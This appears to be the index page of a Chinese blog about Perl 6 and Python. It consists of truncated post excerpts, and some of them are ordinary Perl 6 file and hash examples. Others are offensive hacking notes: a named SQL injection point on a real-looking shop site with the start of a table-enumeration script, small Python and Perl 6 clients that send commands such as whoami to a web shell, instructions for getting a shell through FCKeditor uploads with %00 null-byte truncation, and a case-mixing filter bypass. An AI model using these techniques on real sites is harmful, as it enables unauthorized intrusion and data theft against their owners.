FireC@t @ Perl6

摘要： 刚学的py, 不知有没有像perl6中的直接把个变量写进文件 阅读全文

摘要： #注入点: #https://fei.sg/shop/products.php?action=content&id=-23 #check mysql column_name of the sqlinject use HTTP::UserAgent; use URI::Encode; my $all_table = "db_zf,dg_activity,dg_activity_log,... 阅读全文

摘要： import urllib2 import urllib url = 'http://localhost/12.php' data = {} data['cmd']='whoami' data = urllib.urlencode(data) try: content = urllib2.urlop 阅读全文

摘要： use v6; my $filename = 'data.txt'; my $data = slurp $filename; say $data; $data ~~ s/'4'/'ABC'/; say $data; spurt $filename, $data; say 'Done!'; 用slur 阅读全文

摘要： use v6; #perl6中读取文件方法 #:r 只读， :w 只写, ：rw 读写, :a 追加 my $fp = open 'filename.txt', :rw; for $fp.^methods -> $method { say $method; } #向文件写入， 可以用say或print或print或spurt $fp.say('hello, world'); $fp.pr... 阅读全文

摘要： import urllib2 import urllib url = 'http://localhost/1.php' while True: data = raw_input('(ctrl+c exit)cmd>').strip() post = {} post['cmd'] = data content = urllib2.urlopen(url=url,d... 阅读全文

摘要： 防注界面如下: 可以大小写混合绕过 阅读全文

摘要： google链接查找: 很多存在Fckeditor上传链接: 抓包上传%00截断后发送就能获取shell 如果一次发送不行， 就发送多几次即可 如果多次发送同一数据包不行就把%00改成两个%00%00再截断送送一次或多次即可拿shell 通用后台与数据库下载: 注意， 如果要下载数据库， 要把特殊字 阅读全文

摘要： use HTTP::UserAgent; my $ua = HTTP::UserAgent.new; say 'All method:'; say $ua.^methods; my %data = :cmd('whoami'); my $result = $ua.post('http://localhost/1.php', %data); say $result.content; 阅读全文

摘要： 1 use v6; 2 my %ha= a=>1, :b, :!c; 3 say %ha; 4 say %ha; 5 #这里不能用%ha{a}, {a}表示调用a()函数了， 在perl6中， {}有特别函义 6 say %ha{'a'}; 阅读全文